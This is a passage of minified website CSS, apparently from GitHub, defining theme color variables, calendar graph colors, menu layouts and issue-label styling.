0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-workflow-card-connector:var(--color-scale-gray-5);--color-workflow-card-connector-bg:var(--color-scale-gray-5);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-5);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-5);--color-workflow-card-bg:var(--color-scale-gray-7);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(27, 31, 35, 0.04);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-5);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-6);--color-discussions-state-answered-icon:var(--color-scale-green-3);--color-bg-discussions-row-emoji-box:var(--color-scale-gray-6);--color-notifications-button-text:var(--color-scale-white);--color-notifications-button-hover-text:var(--color-scale-white);--color-notifications-button-hover-bg:var(--color-scale-blue-4);--color-notifications-row-read-bg:var(--color-canvas-default);--color-notifications-row-bg:var(--color-canvas-subtle);--color-icon-directory:var(--color-fg-muted);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#631c03;--color-calendar-halloween-graph-day-L2-bg:#bd561d;--color-calendar-halloween-graph-day-L3-bg:#fa7a18;--color-calendar-halloween-graph-day-L4-bg:#fddf68;--color-calendar-graph-day-bg:var(--color-scale-gray-8);--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#0e4429;--color-calendar-graph-day-L2-bg:#006d32;--color-calendar-graph-day-L3-bg:#26a641;--color-calendar-graph-day-L4-bg:#39d353;--color-calendar-graph-day-L1-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L2-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L3-border:rgba(255, 255, 255, 0.05);--color-calendar-graph-day-L4-border:rgba(255, 255, 255, 0.05);--color-user-mention-fg:var(--color-scale-yellow-0);--color-user-mention-bg:var(--color-scale-yellow-8);--color-text-white:var(--color-scale-white)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-workflow-card-connector:var(--color-scale-gray-3);--color-workflow-card-connector-bg:var(--color-scale-gray-3);--color-workflow-card-connector-inactive:var(--color-border-default);--color-workflow-card-connector-inactive-bg:var(--color-border-default);--color-workflow-card-connector-highlight:var(--color-scale-blue-4);--color-workflow-card-connector-highlight-bg:var(--color-scale-blue-4);--color-workflow-card-bg:var(--color-scale-white);--color-workflow-card-inactive-bg:var(--color-canvas-inset);--color-workflow-card-header-shadow:rgba(0, 0, 0, 0);--color-workflow-card-progress-complete-bg:var(--color-scale-blue-4);--color-workflow-card-progress-incomplete-bg:var(--color-scale-gray-2);--color-discussions-state-answered-icon:var(--color-scale-white);--color-bg-discussions-row-emoji-box:rgba(209, 213, 218, 0.5);--color-notifications-button-text:var(--color-fg-muted);--color-notifications-button-hover-text:var(--color-fg-default);--color-notifications-button-hover-bg:var(--color-scale-gray-2);--color-notifications-row-read-bg:var(--color-canvas-subtle);--color-notifications-row-bg:var(--color-scale-white);--color-icon-directory:var(--color-scale-blue-3);--color-checks-step-error-icon:var(--color-scale-red-4);--color-calendar-halloween-graph-day-L1-bg:#ffee4a;--color-calendar-halloween-graph-day-L2-bg:#ffc501;--color-calendar-halloween-graph-day-L3-bg:#fe9600;--color-calendar-halloween-graph-day-L4-bg:#03001c;--color-calendar-graph-day-bg:#ebedf0;--color-calendar-graph-day-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L1-bg:#9be9a8;--color-calendar-graph-day-L2-bg:#40c463;--color-calendar-graph-day-L3-bg:#30a14e;--color-calendar-graph-day-L4-bg:#216e39;--color-calendar-graph-day-L1-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L2-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L3-border:rgba(27, 31, 35, 0.06);--color-calendar-graph-day-L4-border:rgba(27, 31, 35, 0.06);--color-user-mention-fg:var(--color-fg-default);--color-user-mention-bg:var(--color-attention-subtle);--color-text-white:var(--color-scale-white)}}.hx_color-icon-directory{color:var(--color-icon-directory)}.hx_comment-box--tip::after{background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default)) !important}.hx_keyword-hl{background-color:var(--color-search-keyword-hl)}.hx_dot-fill-pending-icon{color:var(--color-attention-emphasis) !important}@media(max-width: 543px){[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}@media(max-width: 543px)and (prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-fg-default: var(--color-scale-gray-0);--color-canvas-default: var(--color-scale-gray-8)}}:root[data-color-mode=dark] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=dark] .readme [href$="#gh-light-mode-only"]{display:none}:root[data-color-mode=light] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=light] .readme [href$="#gh-dark-mode-only"]{display:none}@media(prefers-color-scheme: dark){:root[data-color-mode=auto] .entry-content [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-light-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-light-mode-only"]{display:none}}@media(prefers-color-scheme: light){:root[data-color-mode=auto] .entry-content [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .comment-body [href$="#gh-dark-mode-only"],:root[data-color-mode=auto] .readme [href$="#gh-dark-mode-only"]{display:none}}.colorblind-themes-v1{--color-open-fg: var(--color-success-fg);--color-open-emphasis: var(--color-success-emphasis);--color-open-muted: var(--color-success-muted);--color-open-subtle: var(--color-success-subtle);--color-closed-fg: var(--color-danger-fg);--color-closed-emphasis: var(--color-danger-emphasis);--color-closed-muted: var(--color-danger-muted);--color-closed-subtle: var(--color-danger-subtle)}.dropdown-item:focus [class*=color-text-],.dropdown-item:hover [class*=color-text-]{color:inherit !important}.filter-item.selected [class*=color-text-]{color:inherit !important}body:not(.intent-mouse) .hx_focus-input:focus+.hx_focus-target{box-shadow:var(--color-btn-shadow-input-focus)}.reset-btn-override{font-weight:600;color:var(--color-fg-muted)}.reset-btn-override:hover{color:var(--color-accent-fg);text-decoration:none}.reset-btn-override:hover .reset-btn-override-icon{background-color:var(--color-accent-emphasis)}.reset-btn-override-icon{width:18px;height:18px;padding:1px;margin-right:3px;color:var(--color-fg-on-emphasis);text-align:center;background-color:var(--color-neutral-emphasis);border-radius:6px}.is-auto-complete-loading .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_breadcrumb-header .header-search-wrapper{height:32px}.hx_breadcrumb-header .notification-indicator .mail-status,.hx_breadcrumb-header .unread-indicator{background-color:var(--color-accent-emphasis);background-image:none}.hx_breadcrumb-header .Header-link,.hx_breadcrumb-header .Header-current-page{color:var(--color-header-logo)}.hx_breadcrumb-header-crumbs .Header-link,.hx_breadcrumb-header-logo{transition:opacity .1s ease-out}.hx_breadcrumb-header-crumbs .Header-link:hover,.hx_breadcrumb-header-logo:hover{color:var(--color-header-text);opacity:.75}.hx_breadcrumb-header-divider{color:var(--color-header-divider)}.Header-button{background-color:var(--color-scale-gray-8);border:1px solid var(--color-scale-gray-6);border-radius:6px;transition:background-color .2s cubic-bezier(0.3, 0, 0.5, 1)}.Header-button .octicon{color:var(--color-header-logo)}.Header-button:hover,.Header-button:focus,.Header-button:active{background-color:transparent}.Header-button:hover .octicon,.Header-button:focus .octicon,.Header-button:active .octicon{color:var(--color-header-text);box-shadow:none}.hx_breadcrumb-header-dropdown::before,.hx_breadcrumb-header-dropdown::after{display:none}.hx_breadcrumb-header-dropdown .dropdown-item{line-height:40px;transition:background-color 60ms ease-out}.hx_breadcrumb-header-dropdown .dropdown-item:hover{color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.icon-sponsor,.icon-sponsoring{transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2);transform:scale(1)}.btn:hover .icon-sponsor,.btn:focus .icon-sponsor,.Label:hover .icon-sponsor,.Label:focus .icon-sponsor,.btn:hover .icon-sponsoring,.btn:focus .icon-sponsoring,.Label:hover .icon-sponsoring,.Label:focus .icon-sponsoring{transform:scale(1.1)}.icon-sponsor{overflow:visible !important}.hx_kbd{display:inline-block;min-width:21px;padding:0 4px;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji";font-size:12px;font-weight:400;line-height:1.5;color:var(--color-fg-muted);text-align:center;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px;box-shadow:none}.hx_hit-user em,.hx_hit-package em,.hx_hit-marketplace em,.hx_hit-highlighting-wrapper em,.hx_hit-commit em,.hx_hit-issue em,.hx_hit-repo em,.hx_hit-wiki em{font-style:normal;font-weight:600}.SelectMenu-list.select-menu-list{max-height:none}@media(max-width: 543px){.SelectMenu-modal{width:unset !important}}.SelectMenu--hasFilter .SelectMenu-list{contain:content}.SelectMenu-item:disabled,.SelectMenu-item[aria-disabled=true]{color:var(--color-fg-muted);pointer-events:none}.SelectMenu .SelectMenu-item .is-filtering{color:var(--color-fg-muted)}.SelectMenu .SelectMenu-item .is-filtering b{color:var(--color-fg-default)}label.SelectMenu-item{font-weight:400}label.SelectMenu-item[aria-checked=true]{font-weight:600}.hx_SelectMenu-modal-no-animation{animation:none}.Box--responsive{margin-right:-15px;margin-left:-15px;border-right:0;border-left:0;border-radius:0}.Box--responsive .Box-row--unread{position:relative;box-shadow:none}.Box--responsive .Box-row--unread::before{position:absolute;top:36px;left:20px;display:inline-block;width:8px;height:8px;color:#fff;content:"";background-image:linear-gradient(#54a3ff, #006eed);background-clip:padding-box;border-radius:50%}.Box--responsive .Box-header{border-right-width:0;border-left-width:0;border-radius:0}@media(min-width: 544px){.Box--responsive{margin-right:0;margin-left:0;border:1px solid var(--color-border-default);border-radius:6px}.Box--responsive .Box-header{border-right-width:1px;border-left-width:1px;border-top-left-radius:6px;border-top-right-radius:6px}.Box--responsive .Box-row--unread{box-shadow:2px 0 0 var(--color-accent-emphasis) inset}.Box--responsive .Box-row--unread::before{display:none}}@media(max-width: 767px){.page-responsive .dropdown-menu,.page-responsive .dropdown-item{padding-top:8px;padding-bottom:8px}.page-responsive .hx_dropdown-fullscreen[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_dropdown-fullscreen .dropdown-menu{position:fixed;top:auto;right:16px !important;bottom:20%;left:16px !important;width:auto !important;max-width:none !important;max-height:calc(80% - 16px);margin:0 !important;overflow-y:auto;transform:none;animation:dropdown-menu-animation .24s cubic-bezier(0, 0.1, 0.1, 1) backwards;-webkit-overflow-scrolling:touch}.page-responsive .hx_dropdown-fullscreen .dropdown-menu::before,.page-responsive .hx_dropdown-fullscreen .dropdown-menu::after{display:none}@keyframes dropdown-menu-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_dropdown-fullscreen .dropdown-item{padding-top:16px;padding-bottom:16px}}.hx_rsm-close-button{display:none !important}@media(max-width: 767px){.page-responsive .hx_rsm[open]>summary::before{background-color:var(--color-primer-canvas-backdrop)}.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{position:fixed !important;top:75px;right:16px !important;left:16px;display:flex;width:auto;height:80%;margin:0;flex-direction:column;animation:hx_rsm-modal-animation .24s .12s cubic-bezier(0, 0.1, 0.1, 1) backwards}.page-responsive .hx_rsm--auto-height .select-menu-modal{top:auto;bottom:20%;height:auto;max-height:calc(80% - 16px)}.page-responsive .hx_rsm .select-menu-header,.page-responsive .hx_rsm .select-menu-text-filter.select-menu-text-filter{padding:16px;border-top-left-radius:inherit;border-top-right-radius:inherit}.page-responsive .hx_rsm tab-container,.page-responsive .hx_rsm-content{display:flex;min-height:0;flex-direction:column;flex:auto}.page-responsive .hx_rsm .select-menu-list{flex:auto;max-height:none;-webkit-overflow-scrolling:touch}.page-responsive .hx_rsm-content>.select-menu-item{flex-shrink:0}.page-responsive .hx_rsm .select-menu-item{padding-top:16px;padding-bottom:16px;padding-left:40px}.page-responsive .hx_rsm .close-button,.page-responsive .hx_rsm-close-button{position:relative;display:block !important}.page-responsive .hx_rsm .close-button::before,.page-responsive .hx_rsm-close-button::before{position:absolute;top:-16px;right:-16px;bottom:-16px;left:-16px;content:""}.page-responsive .hx_rsm .close-button .octicon-x,.page-responsive .hx_rsm-close-button .octicon-x{color:var(--color-fg-muted)}.page-responsive .hx_rsm .select-menu-loading-overlay{animation-delay:1s}.page-responsive .hx_rsm .select-menu-button::before,.page-responsive .hx_rsm-trigger::before{animation:hx_rsm-trigger-animation .24s cubic-bezier(0, 0, 0.2, 1) backwards}@keyframes hx_rsm-trigger-animation{0%{opacity:0}}@keyframes hx_rsm-modal-animation{0%{opacity:0;transform:scale(0.9)}}.page-responsive .hx_rsm-dialog{max-width:none;height:auto;max-height:80%;transform:none}.page-responsive .hx_rsm-dialog-content{flex:1;min-height:0}}@media(max-width: 767px)and (max-height: 500px){.page-responsive .hx_rsm .select-menu-modal,.page-responsive .hx_rsm-modal{bottom:16px;height:auto}}.select-menu-modal{border-color:var(--color-border-default);box-shadow:var(--color-shadow-large)}.select-menu-header,.select-menu-filters{background:var(--color-canvas-overlay)}.select-menu-text-filter input{padding:5px 12px}.select-menu-item{text-align:left;background-color:var(--color-canvas-overlay);border-top:0;border-right:0;border-left:0}.preview-selected .tabnav--responsive{border-bottom:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tabs{z-index:1}@media(max-width: 767px){.tabnav--responsive .tabnav-tab{background-color:var(--color-canvas-subtle);border:1px solid var(--color-border-default);border-left:0;border-radius:0}.tabnav--responsive .tabnav-tab:first-child{border-left:1px solid var(--color-border-default)}.tabnav--responsive .tabnav-tab[aria-selected=true],.tabnav--responsive .tabnav-tab.selected{background-color:var(--color-canvas-default);border-bottom:0}}@media(max-width: 767px){.hx_sm-hide-drag-drop textarea{border-bottom:1px solid var(--color-border-default);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.hx_sm-hide-drag-drop .hx_drag-and-drop{display:none !important}}@media(hover: none){.tooltipped:hover::before,.tooltipped:hover::after{display:none}}@media(hover: none){.markdown-body h1 .octicon-link,.markdown-body h2 .octicon-link,.markdown-body h3 .octicon-link,.markdown-body h4 .octicon-link,.markdown-body h5 .octicon-link,.markdown-body h6 .octicon-link{visibility:visible !important}}.min-width-lg{min-width:1012px}.min-width-xl{min-width:1280px}.min-height-0{min-height:0 !important}.ws-pre-wrap{white-space:pre-wrap}.cursor-pointer{cursor:pointer}.cursor-default{cursor:default}@media screen and (prefers-reduced-motion: no-preference){.hide-no-pref-motion{display:none !important;visibility:hidden}}@media screen and (prefers-reduced-motion: reduce){.hide-reduced-motion{display:none !important;visibility:hidden}}.line_through{text-decoration:line-through;text-decoration-thickness:1%}.gap-2{gap:8px}.starring-container .unstarred,.starring-container.on .starred{display:block}.starring-container.on .unstarred,.starring-container .starred{display:none}.starring-container.loading{opacity:.5}.user-following-container .follow,.user-following-container.on .unfollow{display:inline-block}.user-following-container.on .follow,.user-following-container .unfollow{display:none}.user-following-container.loading{opacity:.5}.hidden-when-empty:empty{display:none !important}.cm-number,.cm-atom{color:var(--color-codemirror-syntax-constant)}auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{padding-right:30px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-16px.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error.png")}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){auto-check .is-autocheck-loading,auto-check .is-autocheck-successful,auto-check .is-autocheck-errored{background-size:16px 16px}auto-check .is-autocheck-loading{background-image:url("/images/spinners/octocat-spinner-32.gif")}auto-check .is-autocheck-successful{background-image:url("/images/modules/ajax/success@2x.png")}auto-check .is-autocheck-errored{background-image:url("/images/modules/ajax/error@2x.png")}}.hx_text-body{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Helvetica,Arial,sans-serif,"Apple Color Emoji","Segoe UI Emoji" !important}.hx_disabled-form-checkbox-label.form-checkbox.disabled{color:var(--color-fg-muted)}.autocomplete-item{background-color:transparent}.ColorSwatch{display:inline-block;width:1em;height:1em;vertical-align:middle;border:1px solid var(--color-border-subtle);border-radius:6px}.label-select-menu .color,.ColorSwatch{border-radius:2em}.details-overlay[open]>.dropdown-item:hover{color:inherit;background:var(--color-canvas-default)}remote-input[loading] .form-control{padding-right:30px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-size:16px}.hx_form-control-spinner{position:absolute;top:24px;right:24px;display:none}@media(min-width: 767px){.hx_form-control-spinner{top:18px;right:18px}}.hx_form-control-spinner-wrapper{position:relative}.hx_form-control-spinner-wrapper .is-loading.form-control{padding-right:28px}.hx_form-control-spinner-wrapper .is-loading+.hx_form-control-spinner{display:block}.drag-and-drop{border-color:var(--color-border-default)}.input-sm{min-height:28px}.btn .octicon-triangle-down{margin-right:0}.UnderlineNav-item.selected .UnderlineNav-octicon,.UnderlineNav-item[aria-current]:not([aria-current=false]) .UnderlineNav-octicon,.UnderlineNav-item[role=tab][aria-selected=true] .UnderlineNav-octicon{color:inherit}.break-line-anywhere{line-break:anywhere !important}.form-checkbox input[type=checkbox],.form-checkbox input[type=radio]{margin-top:4px}.status-indicator-success::before,.status-indicator-failed::before{content:none}.markdown-title code{padding:2px 4px;font-size:.9em;line-height:1;background-color:var(--color-neutral-muted);border-radius:6px}.hx_ActionList-content>.hx_ActionList-item-label,.hx_ActionList-content>.hx_ActionList-item-visual{pointer-events:none}.IssueLabel--big.lh-condensed{display:inline-block;padding:0 10px;font-size:12px;font-weight:500;line-height:22px !important;border:1px solid transparent;border-radius:2em}.hx_IssueLabel{--perceived-lightness: calc( ((var(--label-r) * 0.2126) + (var(--label-g) * 0.7152) + (var(--label-b) * 0.0722)) / 255 );--lightness-switch: max(0, min(calc((var(--perceived-lightness) - var(--lightness-threshold)) * -1000), 1))}:root .hx_IssueLabel,[data-color-mode=light][data-light-theme*=light] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light] .hx_IssueLabel{--lightness-threshold: 0.453;--border-threshold: 0.96;--border-alpha: max(0, min(calc((var(--perceived-lightness) - var(--border-threshold)) * 100), 1));color:hsl(0deg, 0%, calc(var(--lightness-switch) * 100%));background:rgb(var(--label-r), var(--label-g), var(--label-b));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) - 25) * 1%), var(--border-alpha))}}[data-color-mode=light][data-light-theme*=dark] .hx_IssueLabel,[data-color-mode=dark][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), var(--border-alpha))}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .hx_IssueLabel{--lightness-threshold: 0.6;--background-alpha: 0.18;--border-alpha: 0.3;--lighten-by: calc(((var(--lightness-threshold) - var(--perceived-lightness)) * 100) * var(--lightness-switch));color:hsl(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%));background:rgba(var(--label-r), var(--label-g), var(--label-b), var(--background-alpha));border-color:hsla(var(--label-h), calc(var(--label-s) * 1%), calc((var(--label-l) + var(--lighten-by)) * 1%), 